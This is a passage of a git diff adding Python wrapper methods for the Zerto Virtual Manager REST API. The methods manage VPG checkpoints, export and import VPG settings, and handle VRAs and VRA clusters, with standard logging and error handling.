checkpoint_date_str=None, latest=None): + """ + Fetches a list of checkpoints for a specified Virtual Protection Group (VPG). + + Parameters: + vpg_name (str): The name of the Virtual Protection Group (VPG) to fetch checkpoints for. + start_date (str): The start date for filtering checkpoints, in ISO 8601 format (e.g., '2024-11-13T00:00:00Z'). + endd_date (str): The end date for filtering checkpoints, in ISO 8601 format (e.g., '2024-11-14T00:00:00Z'). + checkpoint_date_str (str): A specific date string in the format 'Month Day, Year HH:MM:SS AM/PM' + (e.g., 'November 13, 2024 1:43:02 PM') to search for an exact checkpoint. + latest (bool): If True, returns the checkpoint with the most recent timestamp. + + Returns: + dict: A single checkpoint that matches `checkpoint_date_str` or the latest checkpoint if `latest=True`. + list: The full list of checkpoints if neither `checkpoint_date_str` nor `latest` is specified. + None: If no matching checkpoint is found or an error occurs. + + Raises: + SystemExit: If a request exception occurs during the API call. + """ + logging.info(f'VPGs.list_checkpoints(vpg_name={vpg_name}, start_date={start_date}, endd_date={endd_date}, checkpoint_date_str={checkpoint_date_str}, latest={latest})') + vpgid = (self.list_vpgs(vpg_name=vpg_name))['VpgIdentifier'] + vpgs_uri = f"https://{self.client.zvm_address}/v1/vpgs/{vpgid}/checkpoints" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + params = { + "startDate": start_date, + "endDate": endd_date + } + try: + response = requests.get(vpgs_uri, headers=headers, params=params, verify=self.client.verify_certificate) + response.raise_for_status() + checkpoints = response.json() + + if not checkpoints: + logging.warning("No checkpoints found.") + return [] + + if checkpoint_date_str: + check_point_timestamp = self.__convert_datetime_to_timestamp(date_str = checkpoint_date_str) + matching_checkpoints = next((checkpoint for checkpoint in checkpoints if checkpoint.get("TimeStamp") == check_point_timestamp), None) + if not check_point_timestamp: + logging.warning(f"No checkpoint {checkpoint_date_str} found") + return {} + return matching_checkpoints + + if latest: + # Find the checkpoint with the most recent timestamp + latest_checkpoint = max(checkpoints, key=lambda x: x.get("TimeStamp")) + logging.debug(f"Latest checkpoint found: {latest_checkpoint}") + return latest_checkpoint + + return checkpoints + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def create_checkpoint(self, checkpoint_name: str, vpg_identifier: str = None, vpg_name: str = None) -> str: + """ + Create a tagged checkpoint for the VPG. + + Args: + checkpoint_name: The name/tag to assign to the checkpoint + vpg_identifier: The identifier of the VPG + vpg_name: The name of the VPG (alternative to vpg_identifier) + + Returns: + str: The task identifier that can be used to monitor the operation + + Raises: + requests.exceptions.RequestException: If the API request fails + ValueError: If neither vpg_identifier nor vpg_name is provided, or if VPG name is not found + """ + if not vpg_identifier and not vpg_name: + raise ValueError("Either vpg_identifier or vpg_name must be provided") + + # If vpg_name is provided, get the vpg_identifier + if vpg_name and not vpg_identifier: + vpg = self.list_vpgs(vpg_name=vpg_name) + if not vpg: + raise ValueError(f"VPG with name '{vpg_name}' not found") + vpg_identifier = vpg.get('VpgIdentifier') + logging.info(f"Found VPG identifier '{vpg_identifier}' for VPG name '{vpg_name}'") + + url = f"https://{self.client.zvm_address}/v1/vpgs/{vpg_identifier}/checkpoints" + + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + data = { + "CheckpointName": checkpoint_name + } + + logging.info(f"VPGs.create_checkpoint: Creating checkpoint '{checkpoint_name}' for VPG {vpg_identifier}") + + try: + response = requests.post( + url, + headers=headers, + json=data, + verify=self.client.verify_certificate, + timeout=30 + ) + response.raise_for_status() + task_id = response.json() + logging.info(f"Successfully initiated checkpoint creation, task_id={task_id}") + return task_id + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def export_vpg_settings(self, vpg_names: List[str]) -> dict: + """ + Export settings for specified VPGs. + + Args: + vpg_names: List of VPG names to export settings for + + Returns: + dict: The exported VPG settings in the format: + { + "timeStamp": "2025-02-08T21:50:46.574Z", + "exportResult": { + "result": str, + "message": str + } + } + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/vpgSettings/exportSettings" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + payload = { + "vpgNames": vpg_names + } + + logging.info(f"VPGs.export_vpg_settings: Exporting settings for VPGs: {vpg_names}") + + try: + response = requests.post(url, headers=headers, json=payload, verify=self.client.verify_certificate) + response.raise_for_status() + result = response.json() + logging.info(f"Successfully exported settings for {len(vpg_names)} VPGs at {result.get('timeStamp')}") + logging.debug(f"Export result: {json.dumps(result, indent=2)}") + return result + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def list_exported_vpg_settings(self) -> List[Dict]: + """ + Get all available exported settings files. + + Returns: + List[Dict]: List of exported settings files in the format: + [ + { + "timeStamp": "2025-02-08T22:02:18.685Z" + } + ] + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/vpgSettings/exportedSettings" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.debug("Fetching list of exported VPG settings") + + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + result = response.json() + logging.info(f"Found {len(result)} exported settings files") + logging.debug(f"Exported settings list: {json.dumps(result, indent=2)}") + return result + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def read_exported_vpg_settings(self, timestamp: str, vpg_names: List[str] = None) -> dict: + """ + Read exported settings from a file of given timestamp. + + Args: + timestamp: The timestamp of the exported settings file (format: YYYY-MM-DDThh:mm:ss.SSSZ) + vpg_names: Optional list of VPG names to filter the exported settings + + Returns: + dict: The exported VPG settings containing: + - ExportedVpgSettingsApi: List[dict] - List of VPG settings + - ErrorMessage: str - Error message if any + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/vpgSettings/exportedSettings/{timestamp}" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + payload = {} + if vpg_names: + payload['vpgNames'] = vpg_names + + logging.info(f"VPGs.read_exported_vpg_settings: Reading exported VPG settings for timestamp: {timestamp}") + if vpg_names: + logging.debug(f"Filtering for VPGs: {vpg_names}") + + try: + response = requests.post(url, headers=headers, json=payload, verify=self.client.verify_certificate) + response.raise_for_status() + result = response.json() + logging.debug(f"VPGs.read_exported_vpg_settings: result: {json.dumps(result, indent=4)}") + + return result + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def import_vpg_settings(self, settings: Dict) -> dict: + """ + Import VPG settings. + + Args: + settings: Dictionary containing the VPG settings to import. Must include: + - ExportedVpgSettingsApi: List of VPG settings with detailed configuration + + Returns: + dict: The import result containing: + - validationFailedResults: List[dict] - VPGs that failed validation + - vpgName: str - Name of the VPG + - errorMessages: List[str] - List of validation error messages + - importFailedResults: List[dict] - VPGs that failed to import + - vpgName: str - Name of the VPG + - errorMessage: str - Import error message + - importTaskIdentifiers: List[dict] - Successfully initiated imports + - vpgName: str - Name of the VPG + - taskIdentifier: str - Task ID for tracking the import + + Raises: + requests.exceptions.RequestException: If the API request fails + ValueError: If settings dictionary is missing required fields + """ + url = f"https://{self.client.zvm_address}/v1/vpgSettings/import" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + # Validate input settings + if not isinstance(settings, dict): + raise ValueError("Settings must be a dictionary") + if 'ExportedVpgSettingsApi' not in settings: + raise ValueError("Settings must contain 'ExportedVpgSettingsApi' key") + + # Prepare payload + payload = { + "ExportedVpgSettingsApi": settings['ExportedVpgSettingsApi'] + } + + logging.info(f"VPGs.import_vpg_settings: Importing settings for {len(settings['ExportedVpgSettingsApi'])} VPGs") + + try: + response = requests.post(url, headers=headers, json=payload, verify=self.client.verify_certificate) + response.raise_for_status() + result = response.json() + logging.debug(f"VPGs.import_vpg_settings: result: {json.dumps(result, indent=4)}") + + # Log validation failures + if result.get('validationFailedResults'): + for failure in result['validationFailedResults']: + logging.error(f"Validation failed for VPG '{failure['vpgName']}': {', '.join(failure['errorMessages'])}") + + # Log import failures + if result.get('importFailedResults'): + for failure in result['importFailedResults']: + logging.error(f"Import failed for VPG '{failure['vpgName']}': {failure['errorMessage']}") + + # Log successful imports + if result.get('importTaskIdentifiers'): + for task in result['importTaskIdentifiers']: + logging.info(f"Import initiated for VPG '{task['vpgName']}' with task ID: {task['taskIdentifier']}") + + logging.debug(f"Import result: {json.dumps(result, indent=2)}") + + return result + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + \ No newline at end of file diff --git a/zvml/vras.py b/zvml/vras.py new file mode 100644 index 0000000..9d959a9 --- /dev/null +++ b/zvml/vras.py @@ -0,0 +1,668 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging +import json +from typing import Dict, List, Optional + +class VRA: + def __init__(self, client): + self.client = client + + def list_vras(self) -> List[Dict]: + """List all VRAs.""" + logging.info(f"VRA.list_vras(zvm_address={self.client.zvm_address})") + url = f"https://{self.client.zvm_address}/v1/vras" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + result = response.json() + logging.info(f"Successfully retrieved {len(result)} VRAs") + logging.debug(f"VRA.list_vras result: {json.dumps(result, indent=4)}") + return result + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def create_vra(self, payload: Dict, sync: bool = True) -> Dict: + """Create a new VRA. + + Args: + payload: The VRA configuration + sync: If True, wait for task completion (default: True) + + Returns: + Dict: The creation result + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + logging.info(f"VRA.create_vra(zvm_address={self.client.zvm_address}, sync={sync})") + logging.debug(f"VRA.create_vra payload: {json.dumps(payload, indent=4)}") + url = f"https://{self.client.zvm_address}/v1/vras" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.post(url, headers=headers, json=payload, verify=self.client.verify_certificate) + response.raise_for_status() + task_id = response.json() + logging.info("Successfully initiated VRA creation") + logging.debug(f"VRA.create_vra task_id: {task_id}") + + if sync: + # Wait for task completion + self.client.tasks.wait_for_task_completion(task_id, timeout=300, interval=5) + return task_id + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_vra(self, vra_identifier: str) -> Dict: + """ + Get information about a specific VRA. + + Args: + vra_identifier: The identifier of the VRA to retrieve + + Returns: + Dict: The VRA information + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + logging.info(f"VRA.get_vra(zvm_address={self.client.zvm_address}, vra_identifier={vra_identifier})") + url = f"https://{self.client.zvm_address}/v1/vras/{vra_identifier}" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + result = response.json() + logging.info(f"Successfully retrieved VRA information for identifier: {vra_identifier}") + logging.debug(f"VRA.get_vra result: {json.dumps(result, indent=4)}") + return result + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def delete_vra(self, vra_identifier: str, sync: bool = True) -> Dict: + """ + Delete a specific VRA. + + Args: + vra_identifier: The identifier of the VRA to delete + sync: If True, wait for task completion (default: True) + + Returns: + Dict: The deletion result + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + logging.info(f"VRA.delete_vra(zvm_address={self.client.zvm_address}, vra_identifier={vra_identifier})") + url = f"https://{self.client.zvm_address}/v1/vras/{vra_identifier}" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.delete(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + task_id = response.json() + logging.info(f"Successfully initiated deletion of VRA with identifier: {vra_identifier}") + logging.debug(f"VRA.delete_vra task_id: {task_id}") + + if sync: + # Wait for task completion + self.client.tasks.wait_for_task_completion(task_id, timeout=300, interval=5) + return task_id + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def update_vra(self, vra_identifier: str, payload: Dict, sync: bool = True) -> Dict: + """ + Update a specific VRA's configuration. + + Args: + vra_identifier: The identifier of the VRA to update + payload: The update configuration + sync: If True, wait for task completion (default: True) + + Returns: + Dict: The update result + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + logging.info(f"VRA.update_vra(zvm_address={self.client.zvm_address}, vra_identifier={vra_identifier})") + logging.debug(f"VRA.update_vra payload: {json.dumps(payload, indent=4)}") + url = f"https://{self.client.zvm_address}/v1/vras/{vra_identifier}" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.put(url, headers=headers, json=payload, verify=self.client.verify_certificate) + response.raise_for_status() + task_id = response.json() + logging.info(f"Successfully initiated update for VRA with identifier: {vra_identifier}") + logging.debug(f"VRA.update_vra task_id: {task_id}") + + if sync: + # Wait for task completion + self.client.tasks.wait_for_task_completion(task_id, timeout=300, interval=5) + return task_id + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def create_vra_cluster(self, payload: Dict, sync: bool = True) -> Dict: + """ + Create a new VRA cluster. + + Args: + payload: The cluster configuration + sync: If True, wait for task completion (default: True) + + Returns: + Dict: The creation result + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + logging.info(f"VRA.create_vra_cluster(zvm_address={self.client.zvm_address})") + logging.debug(f"VRA.create_vra_cluster payload: {json.dumps(payload, indent=4)}") + url = f"https://{self.client.zvm_address}/v1/vras/clusters" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.post(url, headers=headers, json=payload, verify=self.client.verify_certificate) + response.raise_for_status() + task_id = response.json() + logging.info("Successfully initiated VRA cluster creation") + logging.debug(f"VRA.create_vra_cluster task_id: {task_id}") + + if sync: + # Wait for task completion + self.client.tasks.wait_for_task_completion(task_id, timeout=300, interval=5) + return task_id + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def delete_vra_cluster(self, cluster_identifier: str) -> Dict: + """ + Delete a VRA cluster. + + Args: + cluster_identifier: The identifier of the cluster to delete + + Returns: + Dict: The deletion result + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + logging.info(f"VRA.delete_vra_cluster(zvm_address={self.client.zvm_address}, cluster_identifier={cluster_identifier})") + url = f"https://{self.client.zvm_address}/v1/vras/clusters/{cluster_identifier}" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.delete(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + result = response.json() + logging.info(f"Successfully deleted VRA cluster with identifier: {cluster_identifier}") + logging.debug(f"VRA.delete_vra_cluster result: {json.dumps(result, indent=4)}") + return result + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def update_vra_cluster(self, cluster_identifier: str, payload: Dict) -> Dict: + """ + Update a VRA cluster configuration. + + Args: + cluster_identifier: The identifier of the cluster to update + payload: The update configuration + + Returns: + Dict: The update result + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + logging.info(f"VRA.update_vra_cluster(zvm_address={self.client.zvm_address}, cluster_identifier={cluster_identifier})") + logging.debug(f"VRA.update_vra_cluster payload: {json.dumps(payload, indent=4)}") + url = f"https://{self.client.zvm_address}/v1/vras/clusters/{cluster_identifier}" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.put(url, headers=headers, json=payload, verify=self.client.verify_certificate) + response.raise_for_status() + result = response.json() + logging.info(f"Successfully updated VRA cluster with identifier: {cluster_identifier}") + logging.debug(f"VRA.update_vra_cluster result: {json.dumps(result, indent=4)}") + return result + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def cleanup_vras(self) -> Dict: + """ + Clean up VRAs. + + Returns: + Dict: The cleanup result + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + logging.info(f"VRA.cleanup_vras(zvm_address={self.client.zvm_address})") + url = f"https://{self.client.zvm_address}/v1/vras/cleanup" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.delete(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + result = response.json() + logging.info("Successfully cleaned up VRAs") + logging.debug(f"VRA.cleanup_vras result: {json.dumps(result, indent=4)}") + return result + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def upgrade_vra(self, vra_identifier: str) -> Dict: + """ + Upgrade a specific VRA. + + Args: + vra_identifier: The identifier of the VRA to upgrade + + Returns: + Dict: The upgrade result + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + logging.info(f"VRA.upgrade_vra(zvm_address={self.client.zvm_address}, vra_identifier={vra_identifier})") + url = f"https://{self.client.zvm_address}/v1/vras/{vra_identifier}/upgrade" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.post(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + result = response.json() + logging.info(f"Successfully initiated upgrade for VRA with identifier: {vra_identifier}") + logging.debug(f"VRA.upgrade_vra result: {json.dumps(result, indent=4)}") + return result + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_vra_cluster_settings(self, cluster_identifier: str) -> Dict: + """ + Get settings for a specific VRA cluster. + + Args: + cluster_identifier: The identifier of the cluster to get settings for + + Returns: + Dict: The cluster settings + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + logging.info(f"VRA.get_vra_cluster_settings(zvm_address={self.client.zvm_address}, cluster_identifier={cluster_identifier})") + url = f"https://{self.client.zvm_address}/v1/vras/clusters/{cluster_identifier}/settings" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + result = response.json() + logging.info(f"Successfully retrieved VRA cluster settings for identifier: {cluster_identifier}") + logging.debug(f"VRA.get_vra_cluster_settings result: {json.dumps(result, indent=4)}") + return result + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def create_vra_cluster_settings(self, cluster_identifier: str, payload: Dict) -> Dict: + """ + Create settings for a VRA cluster. + + Args: + cluster_identifier: The identifier of the cluster to create settings for + payload: The cluster settings configuration + + Returns: + Dict: The creation result + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + logging.info(f"VRA.create_vra_cluster_settings(zvm_address={self.client.zvm_address}, cluster_identifier={cluster_identifier})") + logging.debug(f"VRA.create_vra_cluster_settings payload: {json.dumps(payload, indent=4)}") + url = f"https://{self.client.zvm_address}/v1/vras/clusters/{cluster_identifier}/settings" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.post(url, headers=headers, json=payload, verify=self.client.verify_certificate) + response.raise_for_status() + result = response.json() + logging.info(f"Successfully created VRA cluster settings for identifier: {cluster_identifier}") + logging.debug(f"VRA.create_vra_cluster_settings result: {json.dumps(result, indent=4)}") + return result + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def list_vra_statuses(self) -> List[Dict]: + """ + List all VRA statuses. + + Returns: + List[Dict]: List of VRA statuses + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + logging.info(f"VRA.list_vra_statuses(zvm_address={self.client.zvm_address})") + url = f"https://{self.client.zvm_address}/v1/vras/statuses" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + result = response.json() + logging.info(f"Successfully retrieved VRA statuses") + logging.debug(f"VRA.list_vra_statuses result: {json.dumps(result, indent=4)}") + return result + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def list_ip_configuration_types(self) -> List[Dict]: + """ + List all IP configuration types. + + Returns: + List[Dict]: List of IP configuration types + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + logging.info(f"VRA.list_ip_configuration_types(zvm_address={self.client.zvm_address})") + url = f"https://{self.client.zvm_address}/v1/vras/ipconfigurationtypes" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + result = response.json() + logging.info("Successfully retrieved IP configuration types") + logging.debug(f"VRA.list_ip_configuration_types result: {json.dumps(result, indent=4)}") + return result + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def list_potential_recovery_vras(self, vra_identifier: str) -> List[Dict]: + """ + List potential recovery VRAs for a specific VRA. + + Args: + vra_identifier: The identifier of the VRA to get potential recovery VRAs for + + Returns: + List[Dict]: List of potential recovery VRAs + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + logging.info(f"VRA.list_potential_recovery_vras(zvm_address={self.client.zvm_address}, vra_identifier={vra_identifier})") + url = f"https://{self.client.zvm_address}/v1/vras/{vra_identifier}/changerecoveryvra/potentials" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + result = response.json() + logging.info(f"Successfully retrieved potential recovery VRAs for identifier: {vra_identifier}") + logging.debug(f"VRA.list_potential_recovery_vras result: {json.dumps(result, indent=4)}") + return result + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def execute_recovery_vra_change(self, vra_identifier: str, payload: Dict) -> Dict: + """ + Execute a recovery VRA change for a specific VRA. + + Args: + vra_identifier: The identifier of the VRA to change recovery VRA for + payload: The change configuration + + Returns: + Dict: The execution result + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + logging.info(f"VRA.execute_recovery_vra_change(zvm_address={self.client.zvm_address}, vra_identifier={vra_identifier})") + logging.debug(f"VRA.execute_recovery_vra_change payload: {json.dumps(payload, indent=4)}") + url = f"https://{self.client.zvm_address}/v1/vras/{vra_identifier}/changerecoveryvra/execute" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.post(url, headers=headers, json=payload, verify=self.client.verify_certificate) + response.raise_for_status() + result = response.json() + logging.info(f"Successfully executed recovery VRA change for identifier: {vra_identifier}") + logging.debug(f"VRA.execute_recovery_vra_change result: {json.dumps(result, indent=4)}") + return result + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def validate_recovery_vra_change(self, vra_identifier, payload): + logging.info(f"VRA.validate_recovery_vra_change: Validating recovery VRA change for identifier: {vra_identifier}...") + url = f"https://{self.client.zvm_address}/v1/vras/{vra_identifier}/changerecoveryvra/validate" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.post(url, headers=headers, json=payload, verify=self.client.verify_certificate) + response.raise_for_status() + logging.info(f"VRA.validate_recovery_vra_change: Successfully validated recovery VRA change for identifier: {vra_identifier}.") + return response.json() + except requests.exceptions.RequestException as e: + logging.error(f"VRA.validate_recovery_vra_change: Failed to validate recovery VRA change for identifier {vra_identifier}: {e}") + raise + + def recommend_recovery_vra_change(self, vra_identifier, payload): + logging.info(f"VRA.recommend_recovery_vra_change: Recommending recovery VRA change for identifier: {vra_identifier}...") + url = f"https://{self.client.zvm_address}/v1/vras/{vra_identifier}/changerecoveryvra/recommendation" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.post(url, headers=headers, json=payload, verify=self.client.verify_certificate) + response.raise_for_status() + logging.info(f"VRA.recommend_recovery_vra_change: Successfully recommended recovery VRA change for identifier: 